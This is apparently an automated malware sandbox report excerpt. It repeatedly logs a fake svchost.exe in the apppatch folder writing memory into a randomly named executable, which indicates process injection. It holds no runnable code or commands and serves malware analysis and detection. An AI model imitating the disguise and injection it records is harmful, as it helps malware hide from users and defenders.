    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22B5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1040000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1041000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1042000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1095000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2570000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2571000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2572000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 25C5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DE0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DE1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DE2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: E35000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 11A0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 11A1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 11A2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 11F5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2535000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1410000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1411000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1412000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1465000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2FC0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2FC1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2FC2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3015000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2830000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2831000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2832000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2885000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22D0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22D1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22D2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2325000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2725000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3080000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3081000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3082000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 30D5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2580000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2581000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2582000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 25D5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 930000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 931000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 932000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 985000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C00000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C01000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C02000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C55000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2920000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2921000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2922000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2975000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23C0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23C1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23C2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2415000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 9E0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 9E1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 9E2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: A35000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F10000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F11000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F12000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F65000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2370000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2371000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2372000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23C5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EF0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EF1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EF2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F45000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2520000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2521000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2522000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2575000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22C0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22C1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22C2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2315000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FC0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FC1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FC2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2015000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2110000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2111000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2112000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2165000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2270000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2271000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2272000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22C5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2905000Jump to behavior
